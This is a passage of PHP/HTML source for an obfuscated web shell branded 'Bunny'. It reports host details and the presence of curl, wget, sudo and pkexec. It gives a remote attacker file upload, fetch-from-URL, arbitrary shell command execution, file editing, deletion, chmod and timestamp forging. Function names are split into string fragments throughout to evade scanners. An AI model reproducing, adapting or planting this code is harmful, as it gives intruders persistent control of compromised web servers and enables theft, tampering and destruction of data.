                <span class="uk-margin-small-left font-trade-winds uk-text-large"><?= $s_he_ll_Name ?></span> 
            </div> 
            <div class="bunny-sysinfo uk-flex uk-flex-left uk-flex-column uk-flex-wrap"> 
                <span class="font-bold"><?= 'Sy' . 's' . 'te' . 'm' ?>: <?= BunnyUname(); ?></span> 
                <span class="font-bold"><?= 'ID' . '(' . 'Us' . 'er' . '/' . 'G' . 'ro' . 'u' . 'p)' ?>: <font 
                        class="font-green font-ubuntu-mono">uid=<?= $uid ?>(<?= $user ?>)&nbsp;gid=<?= $gid ?>(<?= $group ?>) 
                    </font></span> 
                <span class="font-bold"><?= 'Se' . 'r' . 'v' . 'er ' . 'I' . 'P' ?>: <font class="font-green font-ubuntu-mono"> 
                        <?= serverIp() ?></font></span> 
                <span class="font-bold"><?= 'Yo' . 'u' . 'r I' . 'P' ?>: <font class="font-green font-ubuntu-mono"><?= userIp() ?> 
                    </font></span> 
                <span class="font-bold"><?= 'S' . 'a' . 'f' . 'e ' . 'Mo' . 'd' . 'e' ?>: <?= $safeMode ?></span> 
                <span class="font-bold"><?= 'P' . 'HP' . ' ' . 'Ve' . 'r' . 's' . 'i' . 'on' ?>: <font 
                        class="font-green font-ubuntu-mono"><?= $phpVersion ?></font></span> 
                <span class="font-bold"><?= 'S' . 'er' . 'v' . 'e' . 'r' ?>: <font class="font-green font-ubuntu-mono"> 
                        <?= $serverName ?></font></span> 
                <span 
                    class="font-bold uk-text-wrap uk-flex uk-flex-row uk-flex-wrap"><?= 'Di' . 'sa' . 'b' . 'l' . 'e ' . 'F' . 'un' . 'ct' . 'i' . 'on' ?>:&nbsp;<?= $cekFunc ?></span> 
                <span 
                    class="font-bold"><?= cekCurl() ?>&nbsp;|&nbsp;<?= cekWget() ?>&nbsp;|&nbsp;<?= cekPython2() ?>&nbsp;|&nbsp;<?= cekPython3() ?>&nbsp;|&nbsp;<?= cekPerl() ?>&nbsp;|&nbsp;<?= cekRuby() ?>&nbsp;|&nbsp;<?= cekgcc() ?>&nbsp;|&nbsp;<?= cekPkexec() ?>&nbsp;|&nbsp;<?= cekSudo() ?></span> 
                <?php 
                $pa_t_hs = explode("/", $path); 
                echo '<span class="font-bold pwd"><i class="fa-duotone fa-folder-tree"></i>&nbsp;&nbsp;PWD: '; 
                echo '<a class="font-red" href="?path=/"><i class="fa-sharp fa-solid fa-slash-forward"></i></a>'; 
                foreach ($pa_t_hs as $id => $pat) { 
                    echo "<a class='path' href='?path="; 
                    for ($i = 0; $i <= $id; $i++) { 
                        echo $pa_t_hs[$i]; 
                        if ($i != $id) { 
                            echo '/'; 
                        } 
                    } 
                    echo "'>$pat</a><span class='font-red'>/</span>"; 
                } 
                echo "&nbsp;&nbsp;<span class='font-red'>[ <a href='" . $_SERVER['PHP_SELF'] . "' class='home_sh_e_ll'><font class='home_sh_e_ll'>Ho" . "me" . " " . "Sh" . "el" . "l</font></a> ]</span>"; 
                echo '</span>'; 
                ?> 
            </div> 
        </div> 
    </header> 
 
    <div class="bunny-tools uk-width-1-1 uk-flex uk-flex-center uk-flex-middle uk-flex-column uk-flex-wrap" 
        style="background: var(--gray-900);"> 
        <div class="tools-upload"> 
            <form action="" method="POST" enctype="multipart/form-data" 
                class="form-tools uk-form-horizontal uk-margin uk-padding-small font-protest-riot"> 
                <input type="file" name="file[]" onchange="this.form.submit()" multiple> 
            </form> 
            <?php 
            if ($_SERVER["REQUEST_METHOD"] === "POST") { 
                if (isset($_FILES["file"])) { 
                    $countFiles = count($_FILES["file"]["name"]); 
                    for ($i = 0; $i < $countFiles; $i++) { 
                        $fi_le_Na_me = $_FILES["file"]["name"][$i]; 
                        $location = "" . $fi_le_Na_me; 
                        $u_pl_oa_dF_un_ct_ion = "m" . "ove" . "_up" . "loa" . "ded_fi" . "le"; 
 
                        if ($u_pl_oa_dF_un_ct_ion($_FILES["file"]["tmp_name"][$i], $location)) { 
                            echo ' 
                            <div class="uk-alert-success uk-flex uk-flex-center uk-flex-middle uk-flex-column uk-flex-wrap" uk-alert style="background: transparent;"> 
                                <a href class="uk-alert-close" uk-close></a> 
                                <p><font class="font-white">Fi' . 'le => <a href="' . $fi_le_Na_me . '">' . $fi_le_Na_me . '</a></font> Su' . 'cc' . 'es' . 's Up' . 'lo' . 'a' . 'de' . 'd <i class="fa-sharp fa-solid fa-shield-check"></i></p> 
                            </div> 
                            '; 
                        } else { 
                            echo ' 
                            <div class="uk-alert-danger uk-flex uk-flex-center uk-flex-middle uk-flex-column uk-flex-wrap" uk-alert style="background: transparent;"> 
                                <a href class="uk-alert-close" uk-close></a> 
                                <p><font class="font-white">Fi' . 'le => ' . $fi_le_Na_me . '</font> Fa' . 'il' . 'ed ' . 'To' . ' U' . 'pl' . 'oa' . 'd <i class="fa-solid fa-octagon-xmark"></i></p> 
                            </div> 
                            '; 
                        } 
                    } 
                } else { 
                    echo ' 
                    <div class="uk-alert-warning uk-flex uk-flex-center uk-flex-middle uk-flex-column uk-flex-wrap" uk-alert style="background: transparent;"> 
                        <a href class="uk-alert-close" uk-close></a> 
                        <p>No Fi' . 'l' . 'es U' . 'pl' . 'oa' . 'de' . 'd.<i class="fa-regular fa-location-exclamation"></i></p> 
                    </div> 
                    '; 
                } 
            } 
            ?> 
        </div> 
        <?php 
        if (isset($_POST['btn-remoteup'])) { 
            $this_file = $_POST['fileurl']; 
            $this_file_name = $_POST['savedname']; 
            $f_content = $f_get($this_file); 
            if (!empty($this_file) && !empty($this_file_name)) { 
                if ($f_content !== false) { 
                    $writeF = $f_put($this_file_name, $f_content); 
                    if ($writeF !== false) { 
                        echo ' 
                            <div class="uk-alert-success uk-flex uk-flex-center uk-flex-middle uk-flex-column uk-flex-wrap" uk-alert style="background: transparent;"> 
                                <a href class="uk-alert-close" uk-close></a> 
                                <p><font class="font-white">Fi' . 'le => <a href="' . $this_file_name . '">' . $this_file_name . '</a></font> S' . 'uc' . 'ce' . 's' . 's U' . 'pl' . 'oa' . 'de' . 'd <i class="fa-sharp fa-solid fa-shield-check"></i></p> 
                            </div> 
                            '; 
                    } else { 
                        echo ' 
                            <div class="uk-alert-danger uk-flex uk-flex-center uk-flex-middle uk-flex-column uk-flex-wrap" uk-alert style="background: transparent;"> 
                                <a href class="uk-alert-close" uk-close></a> 
                                <p><font class="font-white">Fi' . 'le => ' . $this_file_name . '</font> Fa' . 'i' . 'le' . 'd ' . 'To' . ' Up' . 'lo' . 'ad<i class="fa-solid fa-octagon-xmark"></i></p> 
                            </div> 
                            '; 
                    } 
                } else { 
                    echo ' 
                        <div class="uk-alert-danger uk-flex uk-flex-center uk-flex-middle uk-flex-column uk-flex-wrap" uk-alert style="background: transparent;"> 
                            <a href class="uk-alert-close" uk-close></a> 
                            <p><font class="font-white">Fi' . 'le => ' . $this_file_name . '</font> Fa' . 'il' . 'ed T' . 'o U' . 'pl' . 'oa' . 'd<i class="fa-solid fa-octagon-xmark"></i></p> 
                        </div> 
                        '; 
                } 
            } else { 
                echo ' 
                    <div class="uk-alert-warning uk-flex uk-flex-center uk-flex-middle uk-flex-column uk-flex-wrap" uk-alert style="background: transparent;"> 
                        <a href class="uk-alert-close" uk-close></a> 
                        <p>No F' . 'il' . 'es U' . 'pl' . 'oa' . 'de' . 'd, Your Input Is Empty<i class="fa-regular fa-location-exclamation"></i></p> 
                    </div> 
                    '; 
            } 
        } 
        ?> 
        <div class="tools-remoteup uk-width-1-1 uk-flex uk-flex-center uk-flex-middle uk-flex-column uk-flex-wrap"> 
            <form action="" method="POST" class="uk-width-1-2"> 
                <fieldset class="uk-fieldset"> 
                    <legend class="uk-legend font-bold font-protest-riot"><?= 'Re' . 'mo' . 'te' . ' U' . 'pl' . 'oa' . 'd' ?> 
                    </legend> 
                    <div class="uk-margin-small"> 
                        <input class="uk-input font-poppins" name="fileurl" type="text" 
                            placeholder="<?= 'ht' . 'tp' . 's' . ':/' . '/b' . 'u' . 'nn' . 'ym' . 'an.' . 'ed' . 'u.' . 'go' . 'v.' . 'ac' . '.i' . 'd.' . 'go' . '.i' . 'd/' . 'b' . 'u' . 'nny' . '.tx' . 't' ?>" 
                            aria-label="Input"> 
                        <div class="uk-margin-small"></div> 
                        <input class="uk-input font-poppins" name="savedname" type="text" placeholder="saved.txt" 
                            aria-label="Input"> 
                    </div> 
                    <div class="uk-float-right"> 
                        <button type="submit" name="btn-remoteup" 
                            class="uk-button uk-button-primary uk-text-bold uk-border-rounded">Get</button> 
                    </div> 
                </fieldset> 
            </form> 
        </div> 
        <div class="tools-etc uk-flex uk-flex-center uk-flex-middle uk-flex-row uk-flex-wrap"> 
            <a href="?path=<?= $path ?>&tools=newfiles"><button 
                    class="btn-new-file uk-button uk-button-default uk-margin-large-bottom font-white font-protest-riot"><i 
                        class="fa-solid fa-file-plus"></i>&nbsp;<?= 'N' . 'ew' . ' F' . 'il' . 'e' . 's' ?></button></a> 
            <a href="?path=<?= $path ?>&tools=cmd"><button 
                    class="btn-cmd uk-button uk-button-default uk-margin-small-left uk-margin-small-right uk-margin-large-bottom font-white font-ubuntu-mono"><i 
                        class="fa-solid fa-rectangle-terminal"></i>&nbsp;<?= 'C' . 'o' . 'mm' . 'an' . 'd' ?></button></a> 
            <a href="?path=<?= $path ?>&tools=newfolder"><button 
                    class="btn-new-folder uk-button uk-button-default uk-margin-large-bottom font-white font-protest-riot"><i 
                        class="fa-sharp fa-solid fa-folder-plus"></i>&nbsp;<?= 'N' . 'ew' . ' F' . 'ol' . 'de' . 'r' ?></button></a> 
        </div> 
        <div class="mass uk-flex uk-flex-center uk-flex-middle uk-flex-column"> 
            <?php 
            if (isset($_POST['btn-mass'])) { 
                if (isset($_POST['mass-option']) == 'mass_delete') { 
                    if (!empty($_POST['checkfolder'])) { 
                        foreach ($_POST['checkfolder'] as $folder) { 
                            if (is_dir($folder)) { 
                                if (deleteDir($folder)) { 
                                    echo ' 
                                    <div class="uk-alert-success" uk-alert> 
                                        <a href class="uk-alert-close" uk-close></a> 
                                        <p>' . $folder . ' De' . 'le' . 'te' . 'd!&nbsp;<i class="fa-solid fa-trash-check"></i></p> 
                                    </div> 
                                    '; 
                                } else { 
                                    echo ' 
                                    <div class="uk-alert-danger" uk-alert> 
                                        <a href class="uk-alert-close" uk-close></a> 
                                        <p>' . $folder . ' C' . 'an' . ' N' . 'ot' . ' D' . 'el' . 'et' . 'e' . 'd!&nbsp;<i class="fa-solid fa-trash-xmark"></i></p> 
                                    </div> 
                                    '; 
                                } 
                            } 
                        } 
                    } 
                    if (!empty($_POST['checkfile'])) { 
                        foreach ($_POST['checkfile'] as $file) { 
                            if (file_exists($file)) { 
                                if (deleteFile($file)) { 
                                    echo ' 
                                    <div class="uk-alert-success" uk-alert> 
                                        <a href class="uk-alert-close" uk-close></a> 
                                        <p>' . $file . ' De' . 'le' . 'te' . 'd!&nbsp;<i class="fa-solid fa-trash-check"></i></p> 
                                    </div> 
                                    '; 
                                } else { 
                                    echo ' 
                                    <div class="uk-alert-danger" uk-alert> 
                                        <a href class="uk-alert-close" uk-close></a> 
                                        <p>' . $file . ' Ca' . 'n ' . 'No' . 't D' . 'el' . 'et' . 'ed' . '!&nbsp;<i class="fa-solid fa-trash-xmark"></i></p> 
                                    </div> 
                                    '; 
                                } 
                            } 
                        } 
                    } 
                } else { 
                    //null 
                } 
            } 
            ?> 
        </div> 
        <?php 
        if (isset($_GET['deletedir'])) { 
            $dirName = $_GET['deletedir']; 
            if (deleteDir($dirName)) { 
                echo ' 
                        <div class="uk-alert-success" uk-alert> 
                            <a href class="uk-alert-close" uk-close></a> 
                            <p>Success, F' . 'ol' . 'de' . 'r D' . 'el' . 'et' . 'e' . 'd!&nbsp;<i class="fa-solid fa-trash-check"></i></p> 
                        </div> 
                        '; 
            } else { 
                echo ' 
                        <div class="uk-alert-danger" uk-alert> 
                            <a href class="uk-alert-close" uk-close></a> 
                            <p>Failed, F' . 'ol' . 'd' . 'er' . ' C' . 'an' . ' N' . 'o' . 't D' . 'el' . 'et' . 'e' . 'd!&nbsp;<i class="fa-solid fa-trash-xmark"></i></p> 
                        </div> 
                        '; 
            } 
        } 
        if (isset($_GET['deletefile'])) { 
            $fileName = $_GET['deletefile']; 
            if (deleteFile($fileName)) { 
                echo ' 
                    <div class="uk-alert-success" uk-alert> 
                        <a href class="uk-alert-close" uk-close></a> 
                        <p>Success, F' . 'i' . 'l' . 'e D' . 'el' . 'et' . 'ed' . '!&nbsp;<i class="fa-solid fa-trash-check"></i></p> 
                    </div> 
                    '; 
            } else { 
                echo ' 
                <div class="uk-alert-danger" uk-alert> 
                    <a href class="uk-alert-close" uk-close></a> 
                    <p>Failed, F' . 'il' . 'e C' . 'a' . 'n No' . 't D' . 'e' . 'le' . 'te' . 'd!&nbsp;<i class="fa-solid fa-trash-xmark"></i></p> 
                </div> 
                '; 
            } 
        } 
        $toolsparam = isset($_GET['tools']) ? $_GET['tools'] : null; 
        if ($toolsparam === null) { 
            //null 
        } elseif ($toolsparam === 'newfiles') { 
            if (isset($_POST['btn-newfiles'])) { 
                $fi_le_name = htmlspecialchars($_POST['newfilesname']); 
                $fi_le_content = $_POST['newfilecontent']; 
                $f_il_e_success = ' 
                    <div class="uk-alert-success" uk-alert> 
                        <a href class="uk-alert-close" uk-close></a> 
                        <p>' . $fi_le_name . '&nbsp;Fi' . 'le Created&nbsp;<i class="fa-solid fa-file-check font-green"></i></p> 
                    </div> 
                    '; 
                $f_il_e_failed = ' 
                    <div class="uk-alert-danger" uk-alert> 
                        <a href class="uk-alert-close" uk-close></a> 
                        <p>Create Fi' . 'le Failed&nbsp;<i class="fa-solid fa-file-xmark font-red"></i></p> 
                    </div> 
                    '; 
                if ($fi_le_name == '' && $fi_le_content == '') { 
                    echo ' 
                        <div class="uk-alert-warning" uk-alert> 
                            <a href class="uk-alert-close" uk-close></a> 
                            <p>Sorry. Cant Not Cr' . 'e' . 'a' . 't' . 'e Fi' . 'l' . 'es. Your Input Is Empty&nbsp;<i class="fa-regular fa-location-exclamation font-yellow"></i></p> 
                        </div> 
                        '; 
                } else { 
                    if ($func_exist($fo)) { 
                        $c_r_e_a_t_e_f_i_l_e_1 = $fo($fi_le_name, 'w'); 
                        if ($c_r_e_a_t_e_f_i_l_e_1 === false) { 
                            $c_r_e_a_t_e_f_i_l_e_2 = $f_put($fi_le_name, $fi_le_content); 
                            if ($c_r_e_a_t_e_f_i_l_e_2 === false) { 
                                echo $f_il_e_failed; 
                            } else { 
                                echo $f_il_e_success; 
                            } 
                        } else { 
                            if ($fw($c_r_e_a_t_e_f_i_l_e_1, $fi_le_content) === false) { 
                                echo $f_il_e_failed; 
                            } else { 
                                echo $f_il_e_success; 
                            } 
                            $fc($c_r_e_a_t_e_f_i_l_e_1); 
                        } 
                    } elseif ($func_exist($f_put)) { 
                        $c_r_e_a_t_e_f_i_l_e_2 = $f_put($fi_le_name, $fi_le_content); 
                        if ($c_r_e_a_t_e_f_i_l_e_2 === false) { 
                            echo $f_il_e_failed; 
                        } else { 
                            echo $f_il_e_success; 
                        } 
                    } else { 
                        echo ' 
                            <div class="uk-alert-warning" uk-alert> 
                                <a href class="uk-alert-close" uk-close></a> 
                                <p>Sorry. Cant Not Cr' . 'ea' . 't' . 'e Fi' . 'le' . 's&nbsp;<i class="fa-regular fa-location-exclamation font-yellow"></i></p> 
                            </div> 
                            '; 
                    } 
                } 
            } 
            echo ' 
                <div class="uk-divider uk-divider-small"></div> 
                <form action="" method="POST" class="uk-width-1-2"> 
                    <fieldset class="uk-fieldset"> 
                        <div class="uk-margin uk-float-right"> 
                            <button type="submit" name="btn-new' . 'fi' . 'le' . 's" class="uk-button uk-button-primary uk-text-bold uk-border-rounded">Cr' . 'ea' . 'te F' . 'il' . 'e</button> 
                        </div> 
                        <legend class="uk-legend font-bold font-protest-riot">N' . 'e' . 'w ' . 'F' . 'il' . 'es</legend> 
                        <div class="uk-margin"> 
                            <input class="uk-input font-poppins" name="newfi' . 'l' . 'es' . 'na' . 'me" type="text" placeholder="fi' . 'le' . 'na' . 'me.' . 't' . 'x' . 't" aria-label="Input"> 
                        </div> 
                        <div class="uk-margin"> 
                            <textarea class="uk-textarea font-ubuntu-mono" name="newfilecontent" rows="15" placeholder="Bunny Invisible Code Here!" aria-label="Textarea"></textarea> 
                        </div> 
                    </fieldset> 
                </form> 
                '; 
        } elseif ($toolsparam === 'newfolder') { 
            if (isset($_POST['btn-newfolder'])) { 
                $f_ol_de_r_name = htmlspecialchars($_POST['newfoldername']); 
                $f_ol_de_r_success = ' 
                    <div class="uk-alert-success" uk-alert> 
                        <a href class="uk-alert-close" uk-close></a> 
                        <p><font class="font-yellow">' . $f_ol_de_r_name . '</font>&nbsp;Fo' . 'ld' . 'er Cr' . 'ea' . 'te' . 'd&nbsp;<i class="fa-solid fa-folder-check font-green"></i></p> 
                    </div> 
                    '; 
                $f_ol_de_r_failed = ' 
                    <div class="uk-alert-danger" uk-alert> 
                        <a href class="uk-alert-close" uk-close></a> 
                        <p>Cr' . 'ea' . 't' . 'e F' . 'ol' . 'de' . 'r Failed&nbsp;<i class="fa-solid fa-folder-xmark font-red"></i></p> 
                    </div> 
                    '; 
                if ($f_ol_de_r_name == '') { 
                    echo ' 
                        <div class="uk-alert-warning" uk-alert> 
                            <a href class="uk-alert-close" uk-close></a> 
                            <p>Sorry. Cant Not Cr' . 'e' . 'at' . 'e Fo' . 'ld' . 'er. This Input Is Empty&nbsp;<i class="fa-regular fa-location-exclamation font-yellow"></i></p> 
                        </div> 
                        '; 
                } else { 
                    if (!$is_d($f_ol_de_r_name)) { 
                        if ($cr_ea_teF_old_er($f_ol_de_r_name)) { 
                            echo $f_ol_de_r_success; 
                        } else { 
                            echo $f_ol_de_r_failed; 
                        } 
                    } else { 
                        echo ' 
                            <div class="uk-alert-warning" uk-alert> 
                                <a href class="uk-alert-close" uk-close></a> 
                                <p>Sorry. Cant Not C' . 're' . 'at' . 'e F' . 'ol' . 'de' . 'r. This ' . $fo_lde_rna_me . ' Allready Exists&nbsp;<i class="fa-regular fa-location-exclamation font-yellow"></i></p> 
                            </div> 
                            '; 
                    } 
                } 
            } 
            echo ' 
                <div class="uk-divider uk-divider-small"></div> 
                <form action="" method="POST" class="uk-width-1-2"> 
                    <fieldset class="uk-fieldset"> 
                        <div class="uk-margin uk-float-right"> 
                            <button type="submit" name="btn-newfolder" class="uk-button uk-button-primary uk-text-bold uk-border-rounded">Cr' . 'ea' . 'te' . ' F' . 'ol' . 'de' . 'r</button> 
                        </div> 
                        <legend class="uk-legend font-bold font-protest-riot">N' . 'e' . 'w ' . 'F' . 'ol' . 'de' . 'r</legend> 
                        <div class="uk-margin"> 
                            <input class="uk-input font-poppins" name="newfoldername" type="text" placeholder="N' . 'e' . 'w F' . 'ol' . 'd' . 'er" aria-label="Input"> 
                        </div> 
                    </fieldset> 
                </form> 
                '; 
        } elseif ($toolsparam === 'cmd') { 
            echo ' 
                <form action="" method="POST" class="uk-width-1-2"> 
                    <fieldset class="uk-fieldset"> 
                        <legend class="uk-legend font-bold font-protest-riot"><i class="fa-solid fa-rectangle-terminal"></i>&nbsp;&nbsp;C' . 'o' . 'mm' . 'an' . 'd</legend> 
                        <div class="uk-margin-small uk-flex uk-flex-row uk-flex-center uk-flex-middle uk-flex-nowrap"> 
                            <label for="komendnya" class="uk-margin-small-right uk-text-large">$</label> 
                            <input style="background: var(--gray-950);" class="uk-input font-poppins uk-margin-small-right" id="komendnya" name="komendnya" type="text" aria-label="Input" autofocus> 
                            <button type="submit" name="btn-cmd" style="background: var(--gray-950); border: 1px solid var(--gray-700);" class="uk-button uk-button-secondary uk-text-bold uk-border-rounded">ENTER</button> 
                        </div> 
                        <div>'; 
            if (isset($_POST['btn-cmd'])) { 
                echo '<textarea style="background: var(--gray-950); border: 1px solid var(--gray-500); color: var(--green-500);" class="output-cmd uk-textarea font-ubuntu-mono" name="newfilecontent" rows="15" aria-label="Textarea" readonly>' . BunnyCmd($_POST["komendnya"]) . '</textarea>'; 
            } 
            echo '</div> 
                    </fieldset> 
                </form> 
                '; 
        } else { 
            //null 
        } 
 
        if (isset($_GET['editfile'])) { 
            $this_file = $_GET['editfile']; 
            if (isset($_POST['btn-editfiles'])) { 
                $newfilecontent = $_POST['newfilecontent']; 
                $f_il_e_success = ' 
                        <div class="uk-alert-success" uk-alert> 
                            <a href class="uk-alert-close" uk-close></a> 
                            <p>Success, Fi' . 'le Saved&nbsp;<i class="fa-solid fa-file-check font-green"></i></p> 
                        </div> 
                        '; 
                $f_il_e_failed = ' 
                    <div class="uk-alert-danger" uk-alert> 
                        <a href class="uk-alert-close" uk-close></a> 
                        <p>Failed, Fi' . 'le Not Saved&nbsp;<i class="fa-solid fa-file-xmark font-red"></i></p> 
                    </div> 
                    '; 
                if ($func_exist($fo)) { 
                    $editfi_le1 = $fo($this_file, 'w'); 
                    if ($fw($editfi_le1, $newfilecontent)) { 
                        echo $f_il_e_success; 
                    } else { 
                        echo $f_il_e_failed; 
                    } 
                } elseif ($func_exist($f_put)) { 
                    $editfi_le2 = $f_put($this_file, $newfilecontent); 
                    if ($editfi_le2 === false) { 
                        echo $f_il_e_failed; 
                    } else { 
                        echo $f_il_e_success; 
                    } 
                } else { 
                    echo ' 
                        <div class="uk-alert-warning" uk-alert> 
                            <a href class="uk-alert-close" uk-close></a> 
                            <p>Sorry. Cant Edit This Fi' . 'le ' . $this_file . '&nbsp;<i class="fa-solid fa-file-exclamation"></i></p> 
                        </div> 
                        '; 
                } 
            } 
            echo ' 
                <div class="uk-divider uk-divider-small"></div> 
                <form action="" method="POST" class="uk-width-1-2"> 
                    <fieldset class="uk-fieldset"> 
                        <div class="uk-margin uk-float-right"> 
                            <button type="submit" name="btn-editfiles" class="uk-button uk-button-primary uk-text-bold uk-border-rounded">Save</button> 
                        </div> 
                        <legend class="uk-legend font-bold font-protest-riot">Edit Files</legend> 
                        <p class="font-teal">' . $path . '/' . $this_file . '</p> 
                        <div class="uk-margin"> 
                            <textarea style="background: var(--gray-950); color: var(--emerald-500);" class="uk-textarea font-ubuntu-mono" name="newfilecontent" rows="15" aria-label="Textarea">' . $hayoloh(BunnyReadFile($this_file)) . '</textarea> 
                        </div> 
                    </fieldset> 
                </form> 
                '; 
        } 
 
        if (isset($_GET['rename'])) { 
            $hayoloh = 'h' . 'tm' . 'lspe' . 'cialc' . 'hars'; 
            $this_name = $_GET['rename']; 
            $rnm = 'r' . 'e' . 'n' . 'a' . 'm' . 'e'; 
            if (isset($_POST['btn-rename'])) { 
                $newname = $hayoloh($_POST['newname']); 
                if ($rnm($this_name, $path . '/' . $newname)) { 
                    echo ' 
                        <div class="uk-alert-success" uk-alert> 
                            <a href class="uk-alert-close" uk-close></a> 
                            <p> 
                                <font class="font-green">Rename Success&nbsp;<i class="fa-sharp fa-regular fa-shield-check font-green"></i> 
                                <font class="font-white">' . $this_name . ' To ' . $newname . '</font> 
                            </p> 
                        </div> 
                        '; 
                } else { 
                    echo ' 
                        <div class="uk-alert-danger" uk-alert> 
                            <a href class="uk-alert-close" uk-close></a> 
                            <p>Rename Failed&nbsp;<i class="fa-regular fa-octagon-xmark font-red"></i></p> 
                        </div> 
                        '; 
                } 
                $this_name = $newname; 
            } 
            echo ' 
                <div class="uk-divider uk-divider-small"></div> 
                <form action="" method="POST" class="uk-width-1-2"> 
                    <fieldset class="uk-fieldset"> 
                        <div class="uk-margin uk-float-right"> 
                            <button type="submit" name="btn-rename" class="uk-button uk-button-primary uk-text-bold uk-border-rounded">Rename</button> 
                        </div> 
                        <p class="font-teal">' . $path . '/' . $this_name . '</p> 
                        <legend class="uk-legend font-bold font-protest-riot">Rename</legend> 
                        <div class="uk-margin"> 
                            <input class="uk-input font-poppins" name="newname" type="text" value="' . $this_name . '" aria-label="Input"> 
                        </div> 
                    </fieldset> 
                </form> 
                '; 
        } 
        if (isset($_GET['permission'])) { 
            $hayoloh = 'h' . 'tm' . 'lspe' . 'cialc' . 'hars'; 
            $value = $path . '/' . $_GET['permission']; 
            if (isset($_POST['btn-permission'])) { 
                $newperms = $hayoloh($_POST['newperms']); 
                $chperms = 'c' . 'h' . 'm' . 'o' . 'd'; 
                $oct = 'o' . 'c' . 't' . 'd' . 'e' . 'c'; 
                if ($chperms($value, $oct($newperms))) { 
                    echo ' 
                        <div class="uk-alert-success" uk-alert> 
                            <a href class="uk-alert-close" uk-close></a> 
                            <p><font class="font-green">Change Permission Success&nbsp;<i class="fa-sharp fa-regular fa-shield-check font-green"></i></p> 
                        </div> 
                        '; 
                } else { 
                    echo ' 
                        <div class="uk-alert-danger" uk-alert> 
                            <a href class="uk-alert-close" uk-close></a> 
                            <p>Change Permission Failed&nbsp;<i class="fa-regular fa-octagon-xmark font-red"></i></p> 
                        </div> 
                        '; 
                } 
            } 
            echo ' 
                <div class="uk-divider uk-divider-small"></div> 
                <form action="" method="POST" class="uk-width-1-2"> 
                    <fieldset class="uk-fieldset"> 
                        <div class="uk-margin uk-float-right"> 
                            <button type="submit" name="btn-permission" class="uk-button uk-button-primary uk-text-bold uk-border-rounded">Change Permission</button> 
                        </div> 
                        <p class="font-teal">' . $value . '</p> 
                        <legend class="uk-legend font-bold font-protest-riot">Cange Permission</legend> 
                        <div class="uk-margin"> 
                            <input class="uk-input font-poppins" name="newperms" type="text" value="' . chPerms($value) . '" aria-label="Input"> 
                        </div> 
                    </fieldset> 
                </form> 
                '; 
        } 
        if (isset($_GET['changedate'])) { 
            $hayoloh = 'h' . 'tm' . 'lspe' . 'cialc' . 'hars'; 
            $f_time = 'f' . 'il' . 'e' . 'm' . 't' . 'im' . 'e'; 
            $str_time = 's' . 'tr' . 'to' . 'ti' . 'me'; 
            $tch = 'to' . 'uc' . 'h'; 
            $value = $_GET['changedate']; 
            $this_date = date("Y-m-d H:i:s", $f_time($value)); 
            if (isset($_POST['btn-newdate'])) { 
                $newDate = $hayoloh($_POST['newdate']); 
                if ($str_time($newDate) !== false) { 
                    if ($tch($value, $str_time($newDate))) { 
                        echo ' 
                            <div class="uk-alert-success" uk-alert> 
                                <a href class="uk-alert-close" uk-close></a> 
                                <p><font class="font-green">Change Date Success&nbsp;<i class="fa-solid fa-calendar-check"></i></p> 
                            </div> 
                            '; 
                    } else { 
                        echo ' 
                            <div class="uk-alert-danger" uk-alert> 
                                <a href class="uk-alert-close" uk-close></a> 
                                <p>Change Date Failed&nbsp;<i class="fa-solid fa-calendar-xmark"></i></p> 
                            </div> 
                            '; 
                    } 
                } else { 
                    echo ' 
                        <div class="uk-alert-warning" uk-alert> 
                            <a href class="uk-alert-close" uk-close></a> 
                            <p>Change Date Failed, Invalid Date Format&nbsp;<i class="fa-solid fa-calendar-exclamation"></i></p> 
                        </div> 
                        '; 
                } 
            } 
            echo ' 
                <div class="uk-divider uk-divider-small"></div> 
                <form action="" method="POST" class="uk-width-1-2"> 
                    <fieldset class="uk-fieldset"> 
                        <div class="uk-margin uk-float-right"> 
                            <button type="submit" name="btn-newdate" class="uk-button uk-button-primary uk-text-bold uk-border-rounded">Change Date</button> 
                        </div> 
                        <p class="font-teal">' . $path . '/' . $value . '</p> 
                        <legend class="uk-legend font-bold font-protest-riot">Cange Date</legend> 
                        <div class="uk-margin"> 
                            <input class="uk-input font-poppins" name="newdate" type="text" value="' . $this_date . '" aria-label="Input"> 
                        </div> 
                    </fieldset> 
                </form> 
                '; 
        } 
        ?> 
    </div> 
    <div class="main uk-width-1-1 uk-margin-top uk-margin-small-left uk-margin-small-right" 
        style="background: var(--gray-900);"> 
        <?php 
        $scn_d = 'sc' . 'an' . 'd' . 'ir'; 
        $scan = $scn_d($path); 
        ?> 
        <div class="uk-overflow-auto uk-flex uk-flex-center uk-flex-middle uk-flex-row uk-flex-wrap"> 
            <form action="" method="POST" enctype="multipart/form-data" class="uk-width-1-1"> 
                <table class="bunny-table uk-width-1-1"> 
                    <thead> 
                        <tr> 
                            <th>Select All<br><input type="checkbox" id="checkall" class="checkall" name="checkall" 
                                    aria-label="Checkbox"></th> 
                            <th>Name</th> 
                            <th>Last Modified</th> 
                            <th>Size</th> 
                            <th>Owner/Group</th> 
                            <th>Permission</th> 
                            <th>Actions</th> 
                        </tr> 
                    </thead> 
                    <tbody> 
                        <tr> 
                            <td><?= '-' . 'B' . 'I' . 'C' . '-' ?></td> 
                            <td class="body-folder uk-text-nowrap"><a href="?path=<?= dirname($path) ?>" 
                                    class="dirpath font-white"><i 
                                        class="fa-duotone fa-folders font-amber"></i>&nbsp;&nbsp;..</a></td> 
                            <td><?= '-' . 'B' . 'U' . 'N' . 'N' . 'Y' . '-' ?></td> 
                            <td><?= '-' . 'B' . 'U' . 'N' . 'N' . 'Y' . '-' ?></td> 
                            <td><?= '-' . 'B' . 'U' . 'N' . 'N' . 'Y' . '-' ?></td> 
                            <td><?= '-' . 'B' . 'U' . 'N' . 'N' . 'Y' . '-' ?></td> 
                            <td><?= '-' . 'B' . 'U' . 'N' . 'N' . 'Y' . '-' ?></td> 
                        </tr> 
                        <?php 
                        foreach ($scan as $dir) { 
                            if (!is_dir("$path/$dir") || $dir == '.' || $dir == '..') 
                                continue; 
 
                            if ($func_exist($psx_usr_uid)) { 
                                $d_owner = @$psx_usr_uid($own_f("$path/$dir")); 
                                $d_owner = $d_owner['name']; 
                            } else { 
                                $d_owner = $own_f("$path/$dir"); 
                            } 
                            if ($func_exist($psx_grp_gid)) { 
                                $d_group = @$psx_grp_gid($grp_f("$path/$dir")); 
                                $d_group = $d_group['name']; 
                            } else { 
                                $d_group = $grp_f("$path/$dir"); 
                            } 
                            echo '<tr class="tr-body">'; 
                            echo '<td><input type="checkbox" class="checkfilefolder" name="checkfolder[]" value="' . $dir . '" aria-label="Checkbox"></td>'; 
